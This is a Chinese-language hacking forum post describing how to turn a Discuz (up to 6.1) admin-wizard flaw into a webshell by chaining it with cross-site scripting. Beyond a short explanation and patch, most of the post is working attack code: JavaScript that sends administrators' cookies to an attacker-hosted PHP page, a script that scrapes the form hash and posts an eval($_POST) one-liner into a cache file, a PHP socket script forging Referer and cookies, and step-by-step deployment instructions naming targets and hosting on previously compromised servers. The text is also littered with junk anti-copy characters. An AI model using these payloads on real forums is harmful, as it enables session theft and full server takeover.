Discuz XSS得webshell3 B1 S* b! b6 A2 {/ c7 G' Q. ?
By racle @tian6.com
: Y. k$ ~3 `, `$ R欢迎转帖.但请保留版权信息.
/ s6 V! x" i1 V) ]- n5 O: s2 F受影响版本 iscuz<=6.1.0,gbk+utf+big5
- }2 P4 f: v$ B
5 _2 c* D5 S0 S+ \$ s: ~( e新增加完全JS利用版本,只有一个文件.ajax-racle.js.有效版本提升至DZ6.1(理论上7.0版本都可以,但是6.1以上版本都已经默认打上补丁),新增浏览器版本判断,对方浏览器为IE或FIREFOX都有效.7 C; R7 T4 e; {0 O8 T
2 ?+ I3 N3 P" L0 \$ Y0 `0 _, G [2 A
3天前有朋友在论坛问过,说Discuz有个非论坛创始人获得WEBSHELL的漏洞,是superhei早前发出来的一大堆DISCUZ漏洞之一.见原帖:http://bbs.tian6.com/redirect.ph ... 54794&ptid=8706
, B7 ]' |% N. |+ W7 p& ~% p2 Y( v当时我说一会就弄出来给大家,但是实际上一接触,发现这个漏洞本身需要管理员后台权限,要广泛普遍的利用还是很复杂的,主要是以下几个问题,所以拖到今天才基本完工./ O f6 K" t/ M: i% o5 X2 J1 }4 D
* o) x. q6 Y; V0 i% C: f
分析和写EXP的过程中,得到t0by57,Superhei的大力帮助.他们PHP和JS都不错的哦!希望大家看这篇文章时,更注意分析和明白的过程,毕竟XSS是目前WEB安全的最大头戏.各种形式:XSIO,Cross Iframe Trick,crsf等等.. e6 ?) {/ G6 t, J, _6 F6 l
本帖补充其中一个FLASH XSS应用方法:配合Discuz得shell-Flash XSS
/ V+ K- O+ m+ P2 ?1 s/ h1 @- a& J' Y/ _2 @0 q- g4 W
3 g E+ D5 J( r, o$ ~/ i6 v
----------------------------------------------------------前言分隔线-----------------------------------------------------------------------------. X/ n) _+ A7 q
- l* X: @; R+ i
( {9 D& o2 P* T$ _problem1:漏洞页面runwizard.inc.php数据提交方式为post.需要模拟POST提交.
% |4 f$ B8 S. k/ @% d
; X: _" |3 A. ~( T# d, `" sproblem2 ISCUZ论坛在数据提交的时候还验证了referer,因此还要伪造一下.php socket和js都可以伪造referer.
6 H; d' ` E9 ?/ \) }
7 W3 ]3 s7 l6 R+ nproblem3:formhash()函数采用了用户名+密码+XXX的算法得出,程序本身没办法模拟算出来,于是又耗费了我一段时间,最终想到个傻办法,从源代码里读出来.呵呵.这里是参考了superhei的一个旧EXP想出来的.. `3 j' X2 M/ x) L T
/ t, G% s2 @) @
0 G3 H3 i/ ^ R6 T x1 H下面,我为大家简单说说这个漏洞的成因和补的办法.这里是有漏洞的文件代码:bbs/admin/runwizard.inc.php,里面有个函数function saverunwizardhistory() {& s/ k0 L; o1 o. m3 h& t- \
, I( {6 ^4 C |7 B global $runwizardfile, $runwizardhistory;2 f4 a$ _+ t6 }# [# H% P5 d
) j% ^) h' K& @
$fp = fopen($runwizardfile, 'w');
2 W) L' B/ ?8 P# O$ a9 N6 I0 e @9 v5 I& b1 J$ W8 T3 V4 f" S- O# ]1 V" Z
fwrite($fp, serialize($runwizardhistory));! | {8 r4 q! y9 X& u
# ]4 C6 V9 Q0 _. J- e% B
fclose($fp);1 T' ]; A' I0 w
# |7 T4 g, a0 Z" }
}9 K1 h' S& o2 ~- n* u
复制代码serialize($runwizardhistory)直接就写进$fp里.runwizardhistory是什么呢?是论坛一些基本的配置信息,譬如论坛名.反应在论坛后台,位置是:discuz.com/bbs/admincp.php?action=runwizard&step=2.论坛名称,地址等三项信息都没任何过滤.该三项内容任何一项都可以直接写入一句话,提交,然后保存在缓存:bbs/forumdata/logs/runwizardlog.php里.
9 o6 |! s& D2 A/ T/ A$ T以下是修补的办法:function saverunwizardhistory() {. E* }% G: {+ A6 T
# ^( x/ |0 ~" f E2 U# o: H
global $runwizardfile, $runwizardhistory;
* T7 T* Q2 [& j! @+ e5 B; a& x0 l3 S- Q( q2 |* g# a) e( v
$fp = fopen($runwizardfile, 'w');) i- z1 q3 a/ s0 H' }
: _/ D7 L5 z1 O( a O, r/ ] $s = '<?php exit;?>';
0 m* u" l. N9 ~$ E+ _
! h' k. V5 ]( g" K+ I9 K) g $s .= serialize($runwizardhistory);
0 h% `& w# S2 T1 l. A- C/ Y; k( W
fwrite($fp, $s);7 `+ w { h2 A
( a4 d+ E! g8 t: R& O& o
fclose($fp);, y8 j. m& R1 ]
& q/ Y' O7 X& Y& q3 [}5 {) Z# I# ~& \2 E
复制代码加写 '<?php exit;?>';到最前面,退出并且忽略该文件后面所有PHP代码.这么即使里面有一句话,也不能再被执行./ I( Z& k) I2 E' F7 \
9 I# q3 r) P8 R0 E; A
0 } i `0 T/ {0 ^, d3 E. l) v- w
----------------------------------------漏洞的成因和利用方法分隔线-----------------------------------------------------------------------------4 G6 @( `7 `" M3 b" e Q* |
- {! y* e9 I4 ~5 ]7 V f% h
1 O1 e5 k) c$ }) y' E6 L1 y0 _ 以上是该漏洞的成因和利用方法.大家看到这里,估计也认为这是个鸡肋漏洞了吧,首先要有管理员权限,有后台权限,然后才能上WEBSHELL,实话说,有后台权限,拿SHELL的办法也并不止这一个.所以这个洞的价值,看起来就不大了.当然,这个已经被发布的nday不是我本帖要讲的重点.这里我主要是想告诉大家,将XSS,Crsf和本漏洞联合起来的办法.这样该洞价值就大很多了.; J. ?- U. Q* {
, u8 z% r1 v B+ a0 s* ~我们的思路是:论坛上有个xss点,Crsf flash(的确有,Discuz! member.php xss bug,Discuz! 数据库错误信息xss bug,Discuz! flash Crsf bug,Discuz! admincp.php xss bug,Discuz![flash] xss bug),管理员点击或浏览后,就执行了我们的JS,带他到外部一个JS中,通过JS获得他的COOKIES,获得他的HASH,然后经过外部一个PHP封装SOCKET以POST的形式提交前面说的动作,如果论坛没有补上该问题(目前没几个论坛补了.当然,天阳已经补了.^^),那么就会产生bbs/forumdata/logs/runwizardlog.php这个WEBSHELL.0 ^) `2 L0 [2 d$ `
% l h( \7 j" O' `) x0 v! [, o
这篇文章主要不是给大家个EXP,然后让大家拿着到处乱黑的,主要是讲方法,讲思路.因为这里学问不少.
2 r& D i. s) _
$ b; c& P# U0 v5 l6 c* |首先我们要看,怎么通过JS,获得管理员COOKIES,然后把COOKIES传递给最终提交的PHP.获得的办法相信大家都知道,但是传递的办法,譬如以图片形式传递,就非常稳定和实用.是实现AJAX本地语言到服务器语言PHP的好办法.JS部分代码:3 ^. c$ o% l4 {3 N" Q
+ _" q3 _* Y# U: h
var url="http://目标网站/admincp.php";
8 q6 z& \* x" O6 T" x1 ]0 j5 B: h& h1 m: H- Q U
/*获得cookies*/3 @/ e1 l; I' n( q. O! C
6 Y B# ?0 F; |1 J9 z( U( D- { Vfunction getURL(s) {
8 p4 w+ O( |- a. a; S" q
' z1 D. e# i* U* Yvar image = new Image();
, t0 Y* {9 o) O/ P! w5 v
$ g* N& h: V' ` N# Pimage.style.width = 0;. s! E3 E# ^9 {
3 T1 _3 d2 j9 A) h4 h$ e* h1 I! Y+ yimage.style.height = 0;
6 {7 R0 {7 R1 X/ t F
1 j: z# W& Z [ C3 @) V! Ximage.src = s;0 x- R% y5 z9 G- B+ Z
8 s { _# J9 \4 d4 Q$ p}
5 p+ V1 E) ]0 v! F1 w: }/ Y, I5 e4 d
% z" |; x9 \, }" D7 C! WgetURL("我们做好的接收cookies的.php?x="+encodeURIComponent(document.cookie)); //这里就通过image变量传给了php
! H2 F. F% x' U/ c S复制代码php以get方式接收过来的变量.$cookies=$_GET['x'];- {/ _2 l8 f9 \" H( F: i: k
复制代码同理,hash我也是这么传到PHP里.不过HASH的获得方法也是很有意思的,众所周知,discuz有formhash来保护每个授权访问的唯一性.但是你也可以发现,在论坛页面用户退出的地方,引用了这个hash.我们要做的,就是从页面的源文件里搜索出hash,筛选出来,传递给PHP即可.筛选的办法很多,你有兴趣的话,可以看看我的筛选JS代码(而且这里discuz其实还留了一手,呵呵) $ t' A" ]5 D; S+ p( a+ R3 t5 D4 ^8 m
4 i' O; r1 p: R; ?# e
5 o" N3 u$ s# a
获得了cookies和hash以后,我们需要结合完整数据,做一次模拟提交,大家可以看看,这个是我之前写好的AJAX提交方式:var url="http://tian6.com/raclebbs/";5 e/ U# b4 _6 D4 x# }8 w
, K4 }) W5 n# W/ s
- d: A4 Z2 T' Y _) A9 e: g
. I1 H3 V' O% {) H
/*hash*/. l% p! F, ^# }/ d5 \& ~
5 S. n# I8 q! J$ u
var xmlHttpReq = new ActiveXObject("MSXML2.XMLHTTP.3.0");
6 y' ?% _9 g" `1 K5 T/ I/ P
8 B; ~( `) O c; n7 bxmlHttpReq.open("GET", url+"admincp.php?action=home", false);* A( N; M7 f9 E% T2 z
+ N! }! {. y8 B4 l$ m: U7 HxmlHttpReq.send();
/ r- V' E7 s# j6 H9 m( ^" C; N. [4 w2 K* D* k9 P1 J
var resource = xmlHttpReq.responseText;" Y4 a) z6 Y6 R3 q
$ c8 N' A" v3 L* |
var numero = resource.search(/formhash/);2 g, s# ^- j0 N0 ]/ k% y- {
2 Y$ y$ T4 O5 u Q
var formhash=encodeURIComponent(resource.substr(numero+17,8));' M' `1 X! r: a0 S3 N
i) I9 K( [! l. k+ z) d3 ~* s
- p. J. ^8 M7 ]( ?: U/ {1 a
' ^( @% G( B9 P3 m5 N a1 N" ivar post="formhash="+formhash+"&anchor=&settingsnew%5Bbbname%5D=1&settingsnew%5Bsitename%5D=<%3Fphp+eval(%24_POST[racle])%3F>racle%40tian6.com&settingsnew%5Bsiteurl%5D=http%3A%2F%2Fwww.comsenz.com%2F&step2submit=%E4%B8%8B%E4%B8%80%E6%AD%A5";//构造要携带的数据
! W7 l: C% o! e$ P3 n+ O& L
9 ]; R( n" N7 D" l- uxmlHttpReq.open(" OST",url+"admincp.php?action=runwizard&step=3",false);//使用POST方法打开一个到服务器的连接,以异步方式通信
% J- o! L9 I3 @( v9 @$ k% ? O+ d2 b# f* q: J
xmlHttpReq.setRequestHeader("Referer", url);2 j! c. t$ W0 w" m0 e! u. u; M- `
! m1 M5 j* ]) B
xmlHttpReq.setrequestheader("Accept","image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, application/x-shockwave-flash, application/vnd.ms-powerpoint, application/vnd.ms-excel, application/msword, */*");
8 y& P' j( h) ]( ~; B8 f
, S7 f: F# E; D9 x h! [: \xmlHttpReq.setrequestheader("content-length",post.length); 2 i/ W( s6 f z" B/ a
, h' e/ D; P* s4 P* y% ZxmlHttpReq.setrequestheader("content-type","application/x-www-form-urlencoded"); ' K1 w/ |9 s5 X& O
9 _% Q- b5 }7 q% O1 @- VxmlHttpReq.send(post);//发送数据
/ ?7 z" z* Z6 V0 I: [1 b5 G* U/ R复制代码这里HASH我假设正确,这样提交,也无须cookies( ~+ {1 ?$ T2 ]7 L1 J+ O8 w
0 t" Q, V! ]4 v7 d2 _" _
再看看以PHP SOCKET形式提交.$sock = fsockopen("$url", 80, $errno, $errstr, 30);( m% O! ^. U% [
* X; [) p0 e5 e- k, @
if (!$sock) die("$errstr ($errno)\n");* r; G9 o9 b0 ^
* m0 R# T, f3 r% h# |9 O, o
$data = 'formhash='.$hash.'&anchor=&settingsnew%5Bbbname%5D=Discuz&settingsnew%5Bsitename%5D=<%3Fphp+eval(%24_POST[racle])%3F>racle%40tian6.com&settingsnew%5Bsiteurl%5D=http%3A%2F%2Fwww.comsenz.com%2F&step2submit=%E4%B8%8B%E4%B8%80%E6%AD%A5';' a+ c/ j+ P8 N
7 P0 m' p6 S5 e& J6 T0 ]( F1 s
7 i4 H- r9 T* W( K' q) i( m" ~( ~- t6 ^% l% S* R. ~
fwrite($sock, " OST http://$url/admincp.php?action=runwizard&step=3 HTTP/1.1\r\n");
6 j& ?: \; h y9 K% ~2 U s7 \) W8 _( i" T. ~/ T
fwrite($sock, "Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, application/x-shockwave-flash, application/vnd.ms-powerpoint, application/vnd.ms-excel, application/msword, */*\r\n");& z2 ]# n: [, d, Z7 `9 k/ }2 O
$ g% [6 j" }2 }. z% J: f/ Zfwrite($sock, "Referer: http://$url/admincp.php?action=runwizard&step=2\r\n");
& Y7 O) c6 c% i6 Y
9 Y6 \; l+ ^5 x# T% F$ g: qfwrite($sock, "Accept-Language: zh-cn\r\n");$ ~1 C) P, I: f0 V5 v9 F
* Q- S% C1 |5 w" ?
fwrite($sock, "Content-Type: application/x-www-form-urlencoded\r\n");
( l+ N6 M. l! N6 s$ A0 @; A, R" H: z# O1 B
fwrite($sock, "Accept-Encoding: gzip, deflate\r\n");- n" O6 A) e) s; C y
% N4 X) A0 q: b' r1 e1 W& Hfwrite($sock, "User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; User-agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; http://bsalsa.com) ; User-agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; http://bsalsa.com) (Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)); .NET CLR 1.1.4322; .NET CLR 2.0.50727)\r\n");$ C) a8 Y4 q$ C! G8 x
, B+ d7 n8 `* r# j6 V
fwrite($sock, "Host: $url\r\n");
& J$ o8 S0 o7 @; n
/ F$ W) ^7 [9 |. pfwrite($sock, "Content-Length: ".strlen($data)."\r\n");
$ D2 H* X5 e& L' w, v. k9 K9 P! v( D8 G* _8 ?
fwrite($sock, "Connection: Keep-Alive\r\n");
! ~' [1 D; g( M
4 m" C4 P# @$ C$ j- M0 h; J4 mfwrite($sock, "Cache-Control: no-cache\r\n");) v# u6 \) E4 T& W/ }
1 t4 C: q9 q5 V, K+ r& \
fwrite($sock, "Cookie:".$cookies."\r\n\r\n");
3 D+ z8 l" Q6 F3 @& `6 J9 l6 c' h2 u/ K
fwrite($sock, $data);
1 Q" L1 R, |' }- `
% z+ h; t" v; Z7 o+ c: _" G( }7 X+ m: ]4 M
* h0 {8 D7 U8 c- ^# g5 q$headers = "";
0 P& J1 q" [' I- G$ o5 L. i4 U2 a M3 O$ p
while ($str = trim(fgets($sock, 4096))) G. K2 S% B! Z
' t; i- m. x6 z# w0 @2 x7 U% o
$headers .= "$str\n";0 c: o! M7 W9 O
9 y( Y9 x: l |4 V$ O" Eecho "\n"; n! B" F$ H6 Z& T9 `
0 D+ H4 ~: y+ ~* W' X/ I$body = "";* O$ S0 A( y0 E* |* k4 H* W5 m/ [
0 z. ]% {. h* ]( nwhile (!feof($sock))
) v" g2 D- \0 N! V+ K% o2 e3 o, I7 ]: ?5 J/ f. P! r
$body .= fgets($sock, 4096);
& u$ S/ U! S! H, c+ {% m; p& O1 |1 y1 D; {) ?4 Z
fclose($sock);, }% y/ F9 Y4 O% @) w1 u. o7 E
4 D2 Y+ c: p: A: m$ a9 Y
echo $body;
# K8 s: L6 c: b复制代码整个漏洞XSS应用大致如此,下面附上JS文件,PHP封装好的提交文件.利用文件限制一下,已注册用户才可以下载,刚来也没关系,仔细看看前面的分析,你也差不多能写出来.^^1 A m/ ~2 ]8 x( w
; j. ~* t- o5 s
$ @& y% n4 m' Z; o' C
-------------------------------------------XSS文件分析分隔线-----------------------------------------------------------------------------
6 `/ T0 p5 T* o8 U z" k
' N: i! \' u' ]* M
, B! V7 z7 j' n* |; q8 [5 {1 HP SOCKET利用方法首先打开racle.js
6 ]6 |% }' x {1 g' h! u
5 B4 V. f0 U+ D2 A& P3 u u. jvar url="http://tian6.com/raclebbs/admincp.php?action=home"; //改成你要XSS攻击的目标,譬如http://www.discuz.com/admincp.php?action=home
8 r# z: k. R( q1 h9 Z0 ~ o1 ^+ N
# s5 Q( w: J0 D) e7 d2 P# Q4 {1 O. ]* h% W8 o$ b
然后打开racle@tian6.php1 Q: c: u9 Y( G2 X5 C' _
! l. Z3 b/ J1 M& H# [
$url="racle@tian6.com"; //改成你要XSS攻击的目标,譬如www.discuz.com% ^+ W' `5 F! O E- W' o4 ]+ z/ o
7 L' b4 |0 Q) J$ s
, J( s5 {/ E2 E8 V; {( C
9 p# e4 I/ d) i如果目标论坛为6.1版本,无须再改动.如果目标为6.0或以下版本,请修改:# J3 k& X$ h- \6 s/ S
- ~* T6 w3 ^0 {# L4 G1 [3 p% `# P
getURL("racle@tian6.php?resource_hash="+encodeURIComponent(resource.substr(numero+17,8))+"&x="+encodeURIComponent(document.cookie));6 _( k5 y) D( c( ]* t ]
2 Z! ]! |$ M, c' l
为& a& w$ C4 `: {4 ^% i! J2 A
( n& z! v' h" B! A. R n
getURL("racle@tian6.php?resource_hash="+encodeURIComponent(resource.substr(numero+9,8))+"&x="+encodeURIComponent(document.cookie));0 p* a' n2 l' e* a) R5 ` `0 H
复制代码2:JS利用方法打开ajax-racle.js,修改var url="http://tian6.com/raclebbs/";为你要攻击的论坛地址.
, ]& y5 ^- y8 S* T) ~) a
3 n$ x- a; M5 _" L; h0 V4 _- `6 V M0 m, O: K# I6 s
4 N, s% F% G1 W
如果目标论坛为6.1版本,无须再改动.如果目标为6.0或以下版本,请修改:8 N7 Z2 C: L& ~
# Z$ w4 ?$ S, Q! N9 qvar formhash=encodeURIComponent(resource.substr(numero+17,8));
8 e2 M' `) V- o& s" A& `# ]# q8 `! H! ?4 }# e
为
1 M; A6 |/ s- g6 ~: w+ {; X! {
/ a- \$ ^3 v$ h* avar formhash=encodeURIComponent(resource.substr(numero+9,8));7 C; Y' a4 ]+ r/ h0 y: o/ h, C1 b
复制代码ok.以上两种方法则其一.在攻击前,我们应该先看看论坛打上补丁没有,你可以尝试访问:http://target.com/bbs/forumdata/logs/runwizardlog.php,如果一片空白,那就没戏咯.不是空白就会有些论坛信息出现,但也不代表就肯定存在漏洞,因为可能人家补过之后没有更新过论坛信息而已.目前来说,有8成把握吧.
6 S6 j4 C2 @6 Z7 r) C& k2 g6 T2 K# z
C4 w2 x1 d( o# e+ y9 o如果是第一种方法,就把racle.js,还有racle@tian6.php文件上传到一个可以执行PHP的地方,譬如你以前拿下的WEBSHELL里.两个文件需在同一目录下.记得该空间要支持PHP.然后在论坛以<script src=http://你放好的地方/racle.js></script>构造好XSS点.
. q3 }9 g: P, j: O- j: y" [# B; l
' v7 O$ Q, P! Q, H O如果是第二种方法,就把ajax-racle.js,上传到一个你以前拿下的WEBSHELL里,然后在论坛以<script src=http://你放好的地方/ajax-racle.js></script>构造好XSS点.
, W" @4 J" V5 V/ [: G! x
7 l, [) q t& F3 W不管你用什么方法,等到管理员一点该连接或者浏览一下论坛,他论坛bbs/forumdata/logs/runwizardlog.php里就多了个<?php eval($_POST[racle])?> ^^.赶紧拿控制端连上去吧./ }* y5 z7 h3 {& X9 g' z
5 e A) Z: T6 A0 d1 p$ I7 @
|